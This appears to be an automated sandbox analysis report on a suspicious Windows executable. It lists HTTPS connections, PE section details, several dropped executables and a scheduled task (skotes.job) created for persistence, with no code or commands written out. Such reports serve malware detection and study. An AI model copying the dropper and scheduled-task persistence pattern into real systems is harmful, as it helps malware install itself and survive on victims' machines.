Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50120 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name:
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJEGDGIIJJE.exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name:
Source: random[1].exe.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.24.dr	Static PE information: section name:
Source: 11d5b5931e.exe.24.dr	Static PE information: section name:
Source: 11d5b5931e.exe.24.dr	Static PE information: section name: .rsrc
Source: 11d5b5931e.exe.24.dr	Static PE information: section name: .idata
Source: 11d5b5931e.exe.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: 661a734a92.exe.24.dr	Static PE information: section name:
Source: 661a734a92.exe.24.dr	Static PE information: section name: .rsrc
Source: 661a734a92.exe.24.dr	Static PE information: section name: .idata
Source: 661a734a92.exe.24.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CAFB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CAFB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CAFB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA9F280

Source: C:\Users\user\DocumentsJEGDGIIJJE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA935A0	0_2_6CA935A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF34A0	0_2_6CAF34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC4A0	0_2_6CAFC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6C80	0_2_6CAA6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9D4E0	0_2_6CA9D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD6CF0	0_2_6CAD6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA64C0	0_2_6CAA64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABD4D0	0_2_6CABD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0542B	0_2_6CB0542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0AC00	0_2_6CB0AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD5C10	0_2_6CAD5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2C10	0_2_6CAE2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5440	0_2_6CAA5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0545C	0_2_6CB0545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF85F0	0_2_6CAF85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD0DD0	0_2_6CAD0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAFD00	0_2_6CAAFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABED10	0_2_6CABED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0512	0_2_6CAC0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4EA0	0_2_6CAF4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFE680	0_2_6CAFE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB5E90	0_2_6CAB5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB076E3	0_2_6CB076E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9BEF0	0_2_6CA9BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAFEF0	0_2_6CAAFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9E30	0_2_6CAF9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5600	0_2_6CAE5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD7E10	0_2_6CAD7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06E63	0_2_6CB06E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C670	0_2_6CA9C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2E4E	0_2_6CAE2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4640	0_2_6CAB4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB9E50	0_2_6CAB9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD3E50	0_2_6CAD3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE77A0	0_2_6CAE77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9DFE0	0_2_6CA9DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6FF0	0_2_6CAC6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA9F00	0_2_6CAA9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD7710	0_2_6CAD7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC60A0	0_2_6CAC60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC0E0	0_2_6CABC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD58E0	0_2_6CAD58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB050C7	0_2_6CB050C7
